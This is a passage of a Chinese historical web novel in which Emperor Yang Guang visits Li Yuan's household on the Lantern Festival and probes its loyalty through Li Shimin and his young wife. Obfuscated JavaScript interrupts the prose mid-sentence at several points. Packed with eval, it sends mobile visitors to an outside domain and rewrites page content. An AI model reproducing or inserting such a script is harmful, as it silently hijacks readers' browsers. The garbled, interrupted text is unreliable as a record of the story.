至于河内公主与驸马宇文皛,勋贵们莫衷一是,不敢臧否。唯一确定的是,杨广在这个正月里认为这个女儿率真坦易,女婿笃忠尽智,便无视萧后微词,几乎将新婚夫妇当成装点銮仪最华美的琼琚。 宇文士及很快加入到皇帝、国公、金紫光禄大夫闲叙往事的行列中。 李世民与宇文皛自然记得之前拳脚相向之事,但是碍于皇帝与各位勋贵长辈在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这是当然。”杨广也留意到李渊瘁容不消。 初时在宫中值宿忙碌,他无暇思念亡妻,而今回到府中,自然睹物伤怀。 陈宣华、陈婤与吴绛仙香消玉殒那阵子,杨广确实也不愿提起仙都宫、迷楼这些字眼。 这也算是表兄弟之间为数不多的玄照共鸣。 “好吧。”杨广竭力展示自己体恤臣下,宽容大度的一面,“你替唐公说。孩子,你名叫……” “世民,李世民。” 长孙青璟不禁咋舌。李世民几乎整个秋天都在洛阳,在紫微宫,在杨广面前。以他跳脱的性格,是如何做到让杨广几乎不记得他的? 她想起父亲长孙晟常与子侄辈吹嘘自己十八岁时,与还是丞相的先帝一见如故,两人只聊了几句周、齐、突厥形势,先帝便拉着长孙晟的手连连称许,嘱他恪勤匪懈,以待后用。这可谓君臣相得的一场佳话。 而今这君王不记得臣子名姓的奇闻到底是李世民貌寝形陋、文不称笔、武不挂弓导致的,还是杨广藻镜失照造成的呢? 一股不平志气涌上长孙青璟的心头。她自始至终不曾怀疑丈夫文武之才不如父亲——这大概是一个十四岁女孩最后的倔强。 “哦,朕想起来了。你父亲用《晏子春秋》里头的话给你起的名……”杨广打断了长孙青璟的思绪。 “正是,父母冀臣如晏平仲为‘齐之世民’一般,成为隋之世民,隋之卿相。” 众人便一起笑了起来,就连一直沉着脸的宇文皛也露出了轻蔑讥诮的神色。 杨广胁息累欷,不能自制,虚拊李渊肩头道:“叔德啊叔德,你这个次子世民——这次朕没记错,是次子吧——虽说满嘴没遮拦,一开口就是想当宰相,但也不失坦诚可爱……” 长孙青璟闻言也只能在心中轩渠笑悦:“他在十一岁时可不是这么跟我说的。骗子!誖谩之徒!” 64. 巧对 李世民一番对“世民”二字的解读令杨广解颐而笑。 毕竟,被阿谀谄媚环绕的皇帝有时也需要一点无伤大雅的坦率任真调剂心情。 “那你说说,这杨树上以绸缎为叶可是出自朕的机杼?照着宫中和通远市的彩树所扎系?” 在所有人都觉得眼前少年只要开口称“是”便可引得皇帝开怀,何乐不为?谁都料想不到李世民居然不假思索地回答道:“不全是。” 李渊已经开始扶额装累,盘算着怎么向皇帝谢罪自保;长孙青璟抱怨着丈夫为什么就不能把事先准备好的说辞原封不动地复述一遍;虞世基心中暗笑唐公这种循墙而走,莫敢触鳞的勋贵怎么会教出如此坦荡无惧的公子来;宇文皛确是极其期待这个曾经羞辱过自己的、自诩正人君子的狂妄之徒君前失次,酿成大错…… 杨广此时兴致正浓,便要探个究竟:“我听你解释。” “我父母都爱杨树,我从小就见到他们春日里在树下对弈……”这句话,好似一把钝刀,立时割疼了在场的人心,“母亲说过,谢太傅与王右军就在杨树下对弈,她极爱这些风至摇枝,棋子坠落,神色不动的林下风流人物。父亲则简单得多,他单是喜欢春日里杨树速生速长,枝繁叶茂,荫蔽满庭。秋风扫过,疏叶萧萧,如王事鞅掌,召唤他饮马边塞。父亲在涿郡督粮时,母亲教我陛下的‘杨叶始萧萧,马嘶思故坰’,如今她故去了,父亲形单影只,眼前唯有梁简文帝所说‘疏杨影里寒’。我害怕他睹物思人,又恐他见到还未抽条的杨树更加伤心,所以干脆学着陛下的妙策,将杨树以绿绸饰之——既希望母亲在天之灵能够看到,也希望父亲不至于那么伤心。” 低等的阿谀,大致就是表露自己如何忠于国家。 中等的阿谀,无非就是剖白家人如何在皇帝感召下尽瘁事国。 最高等的阿谀,大概就是这种不着一字,却令人感觉唐公举家尽心竭力以奉社稷,儿女情长又英雄气壮的沥陈。 ——话又说回来,如果事为实,情为真,无非就是换了一棵树,似乎也算不上多么严重的谄媚。 杨广愣怔在原地,似乎被杨树垂地的谶纬与自己伟大的诗篇感动得魂悸魄动。 “陛下恕罪,小儿胡言乱语,惊扰冒犯陛下,望陛下宽宥。”李渊不失时机地跪拜请罪。 “唐公请起。”杨广茫然地扶起被自己误会多年的表兄,情真意切地说道,“岂知杨树百尺,不及松贞!我今日方知哪怕杨树百尺,仍需公之贞。” 杨广爱极了李世民所述故事中那个奋袂援枹、振臂高呼便能使得忠臣、贤媛、有志少年于家为国奋不顾身的贤君圣王。 原来这一切只是李世民一场半真半假、精彩纷呈的表演。表演的可恶与精妙之处都在于节奏完全由他一人掌控,苦笑皆由他,其余人等只有沉浸于此的资格却完全不知晓剧情将向何处延伸。 荒唐而又完满! 险境既脱,长孙青璟扪心徐喘,却又一次迎上李世民狡黠的目光,似乎,还有一点渴求被赞赏的意味。她抿着嘴唇,低头不语。 河内公主显然两次都捕捉到了年轻夫妇四目相交时细腻柔婉的深情,或者默契,甚至别的无法言说的、她从未得到过的、令她讨厌的东西。 她无法忍受众人目光不聚焦在她身上的情况,就像她父亲无法忍受无能的官僚们不进行执行那些天马行空的敕令一般。 她早就在不经意时摘下了冪?,企图令少年惊艳,令少女羞惭。 然而她大错特错,在那对笙磬同音的少年伉俪眼中,她简直是可有可无的存在,她所臆想的骚乱、争执、忌妒全然不曾发生。 光艳照人的容貌与华美的衣饰一直是公主无往而不利的凶器。而今利器却一头扎进石头缝败草堆中,令她无比沮丧。 她尤其讨厌眼前这个身着斩衰,不施粉黛,头梳低髻,发间只斜插一支未精细打磨的榛木簪的女孩。 父亲愿意拉拢,疑心试探是父亲作为皇帝的本能,母亲颇有微词是母亲有自己坚守的原则,长姊愿意做贤媛淑女是长姊被马尚宫那些无用的学说所毒害,宇文皛忍气吞声甘为笑柄是他身为帝婿的本分。 而她,堂堂帝女,绝不会让李家称心如意地躲过皇帝的忠诚度测试。她定要令他们痛不欲生。 身着狐裘的河内公主故作娇弱,向父亲杨广撒娇道:“陛下已在中庭滞留多时,只因陛下身强力健而不自知。可是阿奴早已双脚麻木,两手冰冷。加上此处黑灯瞎火,我与阿娘阿姊更不胜寒意。阿耶,您能否找个暄和之处再与诸公清谈叙旧。” “我这女儿颇为刁蛮,身子又娇怯。诸公见谅。”杨广笑道,“我便不与唐公在这杨树荫蔽之下秉烛手谈了。唐公府上可有熙暖厅堂供我这娇气的女儿暂避?” “臣已嘱咐儿媳在正堂备好御座,请陛下移步赏光。”李渊松了一口气,心想今日杨树之事儿媳出力非凡,儿子应对机巧,总算在大开大合之间通过了皇帝的第一层试探。 河内公主却刁难道:“虽说已过元正,但是贵戚们地正堂仍旧凉意甚重,之前陛下造访的许国公、闻喜县公府上就是如此。母亲随行,舟车劳顿,我生怕慈躬违和,所以多嘴。陛下就一点都不体恤皇后吗?” “今日为何突然如此孝顺起来?”萧后揶揄道,“唐公莫听河内公主胡言。且带陛下与我前往新设的御座即可。” 杨广经女儿旁叩曲问,从自我陶醉的迷梦中警醒,带着些许微示问萧后道:“皇后可是劬劳过度?” “陛下,妾无妨。”萧后内心并不赞成杨广将一场针对勋贵笼络慰抚掺进试探的意味。 君主的心思复杂难测,便无法保证臣子的忠贞简单纯粹。 皇后果断拒绝了皇帝与公主的提议。 “长孙娘子!”河内公主不依不饶地转向长孙青璟,下意识地以指尖拂过颈项间波斯式样的璎珞,“娘子是贵府如今真正的女主人,我便昧死为我形劳神瘁的母亲再问一句。今日陛下只是微行,扈从也便是少数家人与心腹近臣,为示亲近与庄重,还特意携妻女同行。娘子年少聪慧,想来一定能准备好一处既舒适又可亲近团坐的暖阁——君臣一如家人闲坐,友人清谈。这样的处所,想来娘子一定能够找到。” “就你多事!”杨广与女儿唱和着,面上假意训斥,心中却极满意女儿以闲语试叩李家底细——倘若李渊与两个孩子开始慌乱,便是可疑;倘他们照办,便是坦荡。 “禀公主,确实有一处尚可满足公主所需的地方,便是我母亲唐国夫人生前休憩、会客、读书之所。如今,已改成公子为母守制的住处。也不知可否入公主青眼?”长孙青璟有礼有节地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246925|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道。 “不妥不妥,小儿守制之处太过简陋。实在无以待宾。陛下不如到正堂暂歇,我令世民与青璟再行找寻合适的暖阁。”李渊一口否定了儿媳的提议。 杨广一时弄不清李渊到底是真心觉得陋室无以待客还是另有隐情,索性一锤定音:“我看,公主也不要太过挑剔,就依长孙娘子所言……” “只是我们一行叨扰公子凯风寒泉之思,我心生不忍。”萧后瞪了河内公主一眼,心生不悦。 “殿下这是哪里话?内子在天有灵若是知晓殿下挂念她,想来也殊感慰藉。”李渊说罢,便携众人前往更深的院落之中。 长孙青璟注意到除了两位驸马之外,另有数位皂衣侍卫紧随皇帝,神情凝重,左顾右盼,似乎在唐国府的一砖一瓦,一草一木上搜索着异图不臣的枢机。 长孙青璟疑心那就是候正候人一类的军士,并非简单的扈从。她假托准备茶饮菓子,将蝈娘与阿彩叫到跟前,轻声叮嘱数句,便又跟上了皇帝探查的队列…… 窦夫人的暖阁本来也算不上华美,作为王羲之身后相隔数百年望风怀想的景从者,她本人的私密暖阁并不似洛阳其他贵妇的会客室一般极尽奢靡之能事,而更像六朝林下之君子的住处——甚至,因为改□□子的守制之所而更显得简淡萧索。 李渊、李世民、长孙青璟叩请杨广夫妇入正座,然后侍立于侧。长孙青璟为贵客们奉上五色饮子、新酿的冻醪、蜜煎梅子,酥酪醍醐,一时乳、果、酒、药香伴着安息熏香萦绕满室,恍惚间到真有一种亲友齐聚、围炉夜谈的融怡。 王尚仪召唤一位年轻宦官前来试膳。 “败兴!”杨广将袖一甩,呵退试膳宦官。 萧后持汤匙从琉璃碗中舀取醍醐,轻抿一口,又禁不住环睹小阁,感叹道:“唐国夫人果然高标风格。” 萧后只是并不完全清楚窦氏爱王右军是真,爱竹林清泉是真,性格洒脱磊落是真,然而华姿曜日、明珰照夜更是真。当她端坐在此居室中时,自然四壁增华,南薰自至,根本无所谓帘帷几案清淡萧然。 这居室无非是一块熠熠生辉的琼琚身后微不足道的背景或是藏身的香奁。 南阳公主也发自内心地赞叹了一番年轻儿媳努力维持婆母所爱居室原样的孝顺体贴。 然后,她偷偷拍打宇文士及后背道:“许国府方才的陈设可称作袭晏子裘、效公孙之被,画虎不成反类犬——你父亲与兄弟真要附庸风雅,当效仿唐国府兰室琴筑,这才是真的不著金玉,尽得风流……” 宇文士及笑道;“公主不要在我面前说起化及与智及,我与他二人冰炭不同器——如何教得会他们?” 河内公主执起荷叶盏,向长孙青璟略微致意:“确实是新酿冻醪,可惜我们来得仓促,娘子的酒似乎曲力未充。” “在酒国春官面前,我不敢卖弄……”长孙青璟答道,“的确是我太过性急。死罪死罪!” “不过,这酒也尚属青州从事。”河内公主向宇文皛、虞世基使了个眼色,三人抢先一步为皇帝上寿。 “恭祝陛下圣寿无疆!” “大隋宝祚延洪!” 刚坐定的诸人不得不被公主裹挟着蹈舞一番。 杨广敷衍了热忱上寿的诸人,目光却被室中一扇半新不旧的屏风攫住了。 65. 形饵 杨广手执蓬莱盏,徐步走向屏风。 蓬莱、方丈、瀛洲三神山便随着玉液琼浆的起伏在杯中隐现。 “酒骨未成令诸位不得尽兴,世民自罚一杯。”李世民主动与相对周慎谦和的宇文士及夫妇开玩笑。 “这倒是我的不是了。”河内公主哂笑道,“公子误会了,我并没有指责长孙娘子的意思,客随主便,我只是感慨新醅尚嫩而已。” “大概是因为我喜好清似琉璃,辣中微涩的春醪——就像个北邙最没见识的村夫一般,误导了长孙娘子,令她觉得洛阳宫中每个人的口味都与我相仿。今日主随客便,若有怠慢,算我的不是。”李世民带着调侃向宇文皛夫妇敬酒。 “新酒有毒,公子可要小心了。”河内公主回敬道。 “下次公主与我做东,邀诸位痛饮!”宇文皛高声道,“酒要陈酿,味须醇厚。贤伉俪可愿与我们一聚?” “那是自然。”李世民毫不迟疑地回答道。 长孙青璟有些好奇地望着眼前三个年龄相仿的年轻人,只感觉自己被莫名地抛入一片嗔恚之地。 三人之间的唇枪舌剑令她感到河内公主对李世民明显的憎恨与厌恶,这种憎恶甚至波及到长孙青璟的身上,使得公主不断对她伺隙寻衅、吹毛求疵。 她不禁想知道洛阳宫里曾经发生过什么。 然而杨广只觉得这群年轻人喧嚷至极。 他端着酒杯伫立在屏风前,激动地端详着屏风上的江水、月影、月夜里如星子的野花、江面上空无一人的不系之舟,随着潮水起伏的孤单的水中箜篌…… 虞世基与李渊面面相觑——他们也觉得年轻人们太吵闹了。 长孙青璟上前道:“陛下,这是母亲十年前的旧物,恐不挡风,是我考虑不周。我唯恐寒风损伤殿下与公主们金体,容妾遣人撤去这旧行障,换上新的厚重一些的屏风。” 杨广沉浸在自己的世界里,只是摆手示意长孙青璟退下。他心中暗叹:“不料窦道生真有这样一位才情超逸的从妹,竟然能完美呈现我的诗意。我年轻时看不惯窦道生,只当他每句话都是呓语。谁料他年轻时在千牛卫面前吹嘘堂妹窦氏才貌俱佳竟然不是夸大其词。无怪窦毅一个前朝驸马当年居然敢摆起臭架子令京师诸公子比试射术,再从中择婿。” “叔德,你先不要跟世基窃窃私语。不准你告诉他这幅画的事。”杨广回头,呷了一口曲气方炽的新酒,兴味盎然地问虞世基道,“你猜猜,这屏风上的画是谁的诗意?” 虞世基为哄杨广开心,自然是从曹植一路猜到谢朓,从沈休文猜到庾开府。 杨广只是微笑。陶醉在与曹、谢、沈、庾比肩的华胥之梦中,恍登阆苑,对画自媚,忘乎形骸。 长孙青璟望着曲意逢迎的虞世基,心中默念:“这头黠猾的老狐狸故意以一众文宗词伯铺陈撩拨皇帝。真是便辟侧媚,取宠一时!” 年轻人们终于停止了关于新酒、醍醐、蜜煎梅子口味的争论,纷纷围拢到屏风前后,指点议论。 “只见箜篌漾碧,却不见湘妃、游女,不知何故?”萧后心中暗自揣度着屏风深意。 “臣已经猜出来了。”虞世基故作神秘地向杨广邀宠,“若猜对了,陛下可有赏赐?” “你这刁滑之徒,不许逞口舌!”杨广哈哈笑道,“快说,再不说就要罚酒了!” 虞世基以手掌虚空滑过屏风,悠悠说道:“春江潮涌,花月迷津;箜篌沉澧,湘灵不返——这画里说的自然是陛下的《春江花月夜》了。唐公,我猜得可对?” “金紫光禄大夫目光如炬,李某叹服!”李渊将虞世基藤杯斟满酒。 “唐国夫人果然是天人。”杨广赞叹道。 不过,皇帝也丝毫没有放下猜忌之心,仍然一手执蓬莱盏巡室环步,抚箧观橱。 他时不时将一个个卷轴末端悬挂的牙签托起细看篇名、卷次,若是遇到自己从未一见的善本,便假意征询李渊是否允许自己展卷一观。 书橱上所置无非史册,五经、六朝文集、佛经、钟王拓本。杨广突然翻看到一沓藤纸,似是生徒课写的文字。 李世民与长孙青璟都庆幸将近世文钞悉数收藏至隐匿之所。 杨广招呼虞世基和李渊上前,展开几张课写的诗文给虞世基道:“你看看,这里誊写的诗文,是不是你与世南共相叹赏的那几篇?” 他又和蔼地向李渊出示自己年少时所作,如今被人以王字书于藤纸之上的《咏鹰诗》:“想来这是世民课写的字,好好好,果然翰逸神飞,骨态清妍。” “分明是陛下的诗八音协畅,掷地作金石声。——当然公子笔夺造化,牵丝雁行,也不可小觑。”难为虞世基在察言观色,吹捧杨广的同时也不敢得罪李家父子。 “相得益彰,相得益彰。”宇文士及在一旁持衡。 形之,敌必从之。 李世民万万没想到,自己活学《孙子兵法》的首战并非在漠北、在辽东、甚至是剿匪的前线,而是在这个云波诡谲的上元夜,在他为母亲守制的小小天地里。 上猎者,常示形为饵。 自大的皇帝就这样一脚踏进两个年轻人为保全家族而精心设置的罻罗之中。 李渊谢罪道:“臣有失管教,不知道这孩子如此随意涂鸦陛下诗文,一定严惩不贷。” “你呀,对孩子太过严厉了。束以苛绳,反斫天性。”杨广说罢,便招呼李世民上前,“你读了朕那么多诗,应该知道我爱六朝翰藻。你可学过永明诗?” 李世民点头:“张夫子教过我一些,不过学得不好。” 杨广问道:“我随手指物,你可能吟咏?” “可以一试,就怕芜词污楮。” “朕不怕。” “请陛下指物。” 河内公主以手肘轻触宇文皛,希望丈夫能与她所厌恶的狂妄少年一较高下。 宇文皛开玩笑似的揖而谢过,轻声道:“此等重任,敬谢不敏!公主何不自己与他较锷论锋……” “朕听宫中传言,卿的父母因弓箭结缘,就写一首《咏弓》吧。限你三刻。”杨广倒是要看看,到底是李家将异志掩饰得过好,还是他本人疑心太重。 李世民朗声应承下诗题,便与长孙青璟暂避众人。长孙青璟铺纸捧砚,也不敢多加打扰,全凭李世民自己主张。 “你开心点。”李世民正襟危坐,轻声道,“不用担心,陛下一定喜欢我的诗……” “某位北邙的田舍翁,你不要先放出豪言壮语。”河内公主简直如蝇跗骨,挥之不去。 李世民怫然不悦道:“我不记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260023|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得弘农杨氏何时把郡望改成了洛阳?难道把郡望改成洛阳,就有资格嘲笑全天下人都是村夫村妇吗?” “哼。巧言如簧,颜之厚矣。”河内公主随手拂过案上藤纸,“我的父亲擅长宫体、玄言、乐府各种诗歌,你若是胡诌,可逃不过陛下的法眼……” 长孙青璟实在厌恶这个总是在挑唆事端的皇帝爱女,便毫不客气地回答道:“公子虽才浅,也知道沉思为筋骨,翰藻为附丽的道理,无须公主多虑。” “那我就等赏鉴公子大作了。”河内公主掸了掸紫色团窠联珠对狮纹锦帔帛,仿佛眼前“村夫”“村妇”的言辞都带着村墟埃壒,令降贵临卑的公主浑身不适。她舌敝无功,便傲睨转身,视若无人。 隔绝了河内公主的冷嘲热讽,李世民几乎提笔立就。 杨广令虞世基展卷诵读:“上弦明月半,激箭流星远。落雁带书惊,啼猿映枝转。” 李渊听罢道:“犬子班门弄斧,渎冒天听。刻鹄类鹜,徒增笑耳。还请陛下恕罪。” “唐公未免太过苛刻。”杨广面露知音之色,召唤虞世基道,“播郎,你来评一评。” 虞世基以纯文士的角度挑剔一番,意外发现除却一两处细枝末节,《咏弓》声律居然无大碍。 虽说这位博文善属文的金紫光禄大夫也弄不清楚把从军题材写成宫体风格该如何评价,但是他确也感知到这诗情真意切,也不失清新豪迈。 甚至杨广也觉得《咏弓》耳目一新,至少在李世民那个无病呻吟的年纪里,不失为一篇佳作。 看今日杨广与李渊相处情形,虞世基感觉杨广对这位表兄全家的赞许明显大于戒备,索性周旋两间,八面驶风:“若论优劣,我也不是很懂。可惜世南未与陛下同行,否则他一定臧否得中。若要我说心里话,那以李家公子的诗风,称得上陛下私淑弟子。” 此话既把杨广抬举到文宗词伯的地位,又肯定了李氏子弟高山仰止的践履。长孙青璟也不得不佩服虞世基左右逢、游刃有余的骑墙功力。 李渊忙不迭全盘接受虞世基的善意:“谬赞谬赞。陛下不怪罪不肖子,我已心满意足。何敢言私淑?” 杨广持文稿,又瞥了一眼长跪于案前的少年。此时他才意识到李世民在斩衰内穿着褒衣大袖,似是齐梁旧款,又比照着如今附庸风雅文士的需求略加收缩,符合北人的精简风致。 杨广本也不太赏识李渊的儿子。一来这少年长相不过中上,至少在杨广眼中不如宇文皛;二来上次伴驾时,这孩子也不是很擅长替人纾怀解郁;三是杨广与李渊因人事变迁,旧交疏阔,对李渊的儿子自然也亲近不起来。 不过数月不见,李世民比上次见面时清瘦疏朗了很多。加上他今日不再被迫穿著云定兴所裁剪的那些炫服靓妆,而是换上一身素色装扮,又借着杨树荫蔽天下表明了一番心迹,勉强与杨广酬唱一番,显得爽朗清举,有松柏之姿,使得杨广对他刮目相待。 这种情形之下的杨广甚至对李氏父子二人都生出了几分亲近之感。 “这孩子真是有趣,老是勾起我的往事。”杨广感慨道,“叔德,你还记得我们像他们那么大时,经常潜入南山打猎,彻夜不归。” “当然记得。” 能与帝王一同追忆少年时光,应该是天大的幸事! 66. 惊觉 杨广开始喋喋不休的讲述往事。 “那时,我,唐公、怀恩、萧瑀、阿俊,总是在终南山附近飞鹰走狗,天黑也不愿回长安城。长孙休明这个怯夫每每来扫大家兴,跪在马前苦求我回府……” “正是!”李渊微笑着回应,“那时大家就嘲笑着休明,擎着火把径去山中,或向农人借宿,或托庇于洞穴。铜鼎沸汤,脂膏浮沉;铁架横陈,炙肉作响;琵琶裂空,众人唱和——那个时候,陛下最喜欢调侃油嘴流涎的休明,问他可还想回长安城?” 表兄弟二人默契而笑,众人也跟着附和。 杨广留意提到长孙休明的时候,李渊儿媳的双颊眴然。他便如自家长辈一般和蔼地问道:“长孙娘子,莫非你也认得殿内少监长孙敞?” 长孙青璟长揖道:“陛下,殿内少监是妾之叔父。我父亲兄弟四人,休明叔最幼。” “原来如此,我差一点忘记。季晟有个幼弟。”杨广点头道,故作正色道,“长孙娘子,我背后说你叔父怯夫一事,你可不准告诉他;我与唐公嘲笑他年轻时处事过于谨慎小心一事,也不准告诉他!” 长孙青璟抿嘴道:“妾奉敕。妾恐叔父伤怀,并不敢告诉他。” “每到元正大朝会、万国来朝之时,朕便分外想念你的伯父仲光公,父亲季晟公。唉,物是人非。你父亲若是在世,定然随我北巡,突厥诸部必定望风披靡,不战而降。我岂不快哉!——而今,你母亲兄弟可好?” 杨广似乎只是为了在众人面前表演一番对已故重臣的眷念,并不待长孙青璟作答,便开始与两位驸马讲述长孙晟的长子行布为抵御汉王杨谅叛军而战死,次子恒安于漠北捐躯之事。满脸皆是感慨与惋惜。 李世民心中冷笑道:“暖逐人离,席剩霜痕。这么矫情,不知情者还误以为皇帝一直帝念股肱重臣,厚遇长孙氏遗孑呢?” “臣几日前恰好见过右骁卫将军的三子安业……”宇文皛今晚搜索枯肠,终于遇到一个自己能胜任的话题,便赶紧跟上岳父的步调,“他一家也在洛阳过元正。” “长孙三郎能言善辩,颇肖乃父。”河内公主望着长孙青璟,故作疑惑不解道,“他夫人杜娘子也是健谈之人。只是同游时未曾听说李氏与长孙氏的这一桩姻缘。” 南阳公主不以为然道:“谁家正经郎君在陌生人面前一天到晚将已经出嫁的、婚姻美满的妹妹挂在嘴边?” 长孙青璟有很大把握确定眼前帝后、公主、驸马对于长孙晟过世之后的骨肉疏离之事并不清楚也根本没想弄明白,索性将错就错敷衍过去:“父亲在世时便立下规矩,三兄最长,理应追随陛下;母亲身染风疾,不便走动,由四兄常年奉养于大兴家中;至于五弟,不跟着纨绔学坏即可。我与三兄前几日还在修善坊家中小聚,一见面就被他责问为何不派人到洛阳送信告知国夫人丧事,又问起四兄代为奔丧时礼节是否周全妥当,还嘱我安心在家守制,去伊阙礼佛时小心被如织的信徒挤下水去……又提起紫微宫宏伟景致,晋阳宫夏日不逊星月的流萤。三兄年纪长我甚多,总是把我当孩童叮嘱,说话繁琐无微不至。说来也怪,虽说他巨细靡遗地将洛阳诸事告诉我,却也未听他说起与公主驸马相见之事……想来是忙乱之中忘记了。” 河内公主唇弦数振,欲言又止。 李世民觉得长孙青璟将从来没有存在过的情形说得煞有介事,甚是不易。似乎长孙晟去世后,那些尔虞我诈、骨肉相弃的痛心经历不曾有过,似乎一家人一直向着亡父既定之的整装遄征,各司其职,有条不紊,家门永保昌吉。 这样的弥天大谎令李世民不禁攥了一把汗,生怕长孙青璟一时失语,再也掩饰不下去而嚎啕大哭。 当然,他实在小看长孙青璟了。这个女孩远比李世民想象的坚强。 杨广听罢长孙青璟一番能够自圆其说的谎言,便满面了然地点头。他也不过因机缘巧合,略微表示一下对已故重臣后人的关心罢了。至于长孙晟过世后内庭大乱、儿女见弃、抚养弃儿的人恰好与薛道衡、斛斯政交好,便都不在皇帝的查探范围之内。 杨广对于长孙晟后人乃至长孙氏一族的礼节性询问便告一段落。他又一次深深沉浸在对青年时代的追忆之中不可自拔。 “啊,扬州……”杨广重新回到《春江花月夜》的诗意屏风前,“金玉年华,骋怀游目,信可乐也——你们可知那是比大兴、洛阳更美好的仙都。大兴只是故里,洛阳是天下之中,扬州才是吾乡。尔等且听我吟诵。” 李渊不失时机地陈请:“臣愿为陛下抚弦!” “好!”杨广将蓬莱杯置于案上,引吭长啸,一时诗兴大发,“卿等为我二人击节!” 李渊从长孙青璟手中接过五弦琵琶,调好鵾鸡筋,双目微闭,以绞弦、轮指模拟江浪起伏,在涌动的弦音中,杨广情不自禁地吟唱起自己的诗作。 李渊见皇帝渐入佳境,便拉弦微调音高,龟兹风的商调陡然变作吴声越调,以吟揉手法模仿花影摇曳之态。华丽的南朝琐声促拨又切合杨广喜好的繁复乐风,令他沉醉在邂逅游女的妙境之中。 俄而歌停弦息,余音犹在。李渊抱器守静,大音在胸。杨广歌入三昧,情动五内,竟然涕泗交流。眼前唯余箜篌浮碧,空灵怅惘。 众人面面相觑,不知如何应对。 “湘灵鼓瑟,歌者掩泣。神与境会,珠联璧合!妙哉!妙哉!”虞世基带头拊掌道,众人应和。 李世民忍不住形恶体憎杨广满身神躁心忮的错乱行为,尤其厌恶在母亲生前最爱的居室之中全程观看皇帝矜情自饰的演出。 大概是这种嫌恶太过明显,以至于他丝毫没有投入到杨广的吟唱之中与众人一道流泪。 一旁的长孙青璟也忍不住牵拉他的衣袖提醒他不要胡思乱想,赶紧为陛下喝彩,他才惶然失措地鼓掌——倒也勉强契合曲终空余怅然的体验。 这种勉为其难的掩饰至少躲过了蝇蚋般的河内公主的嗅觉。 “陛下不会连琵琶弹得比他好的人也要杀吧?”李世民望着父亲,心中哑然失笑,“一定不会的。皇帝今天完全陶醉在我们全家对国朝忠贞不二的剖白,对他文辞瀚藻的敬仰的效仿的满足感之中。方才,父亲主动将自己放至俳优的地位,是自我贬低,是主动示弱,是无耻邀宠,是仰望君父——杨广一定会满意和安心的。啊,阿耶心中此时一定恶心坏了。” 在白色琵琶袖的遮蔽下,李世民轻轻握住长孙青璟汗涔涔的手心,共同面对未知与迷茫。他们面前又伫立着一头长相诡秘,神出鬼没的夷羊。他们的心中嘀咕着:杨广还有更多的试探吗? 一曲《春江花月夜》终了,杨广耗尽了深思与精气。缓缓回到临时御座上,阖上双眼,似睡非睡。 萧后凑近杨广,轻轻唤了几声,杨广却毫无回应。他不时呓语几声,或是因为莫名的惊恐而手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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噩梦的触手还在追赶杨广:“山洞一下子亮堂起来,好像变成了仁寿宫,我听见先皇捶打灵柩的声音,还有房陵王在宫外呼救的声音……” 李渊和虞世基伏跪于地,不敢再听下去。 长孙青璟非常抵触自己父亲曾经是仁寿宫变的参与者的传言,她坚信令杨广惊恐的只是噩梦而不是良心与真相的折磨。 李世民饶有趣味地看着皇帝杨广癔症发作,觉得这个百戏妖人终于演了一次真正的自己,这比今夜他所有弄颜效颦之技都精彩百倍。 萧后终于不再顾及皇帝颜面,直接掩口朗声道:“陛下,九五之尊不可效仿市井优孟腔。” 剧烈的、颤抖的喘息被强行压在喉间,与无边的恐惧一起蜷缩进搅拌着粘稠往事的阴影之中。 杨广挣脱了妻子、女婿的钳制,猛然抓住李渊的衣领,探询道:“叔德,你听到门外的声音了吗?” “陛下,是隔墙的歌吹声吗?”李渊握住杨广持续在虚空中搜索防身之物的手。 “不,是野兽啃食石阶的声音……也许不是野兽,是人,是半人半兽……”杨广侧耳,犹疑地说道,“天知道是什么东西,我分明听到一排排钢牙锯碎石头的声音,闻到鲜血混合着石头粉末的味道……叔德,你听不到,闻不到吗?” 李世民与长孙青璟只觉得心鸢突喉、困兽撞咽,一时不知父亲该如何回应才能使杨广满意。 67. 上元 李渊既不像虞世基那般装聋作哑,也不敢学萧皇后直言以告,只能以无作有道:“陛下,有臣在,虽肝脑涂地,也定保陛下周全!” “朕可以相信你,将安危托付与你吗?”杨广的目光阴刻鸷忍,令在场所有人感到刳肝剖心的恐惧。 “臣之丹心贯日,死生不贰。”李渊泣涕叩首。 “此话当真。”杨广忽然抓起方才心情愉悦时搁置在御座前书案上的几张藤纸——李世民所“私淑”“课写”的杨广诗赋。 “叔德,你父子二人可愿意为朕的鹰犬?”杨广扬起《咏鹰诗》凝重地问道,“去应对那些如谋不轨的暴民流寇与倾覆者。” 他的脑际,仍然回荡着饥饿的野兽,也许是饥饿的流民啃噬玉阶的声音。 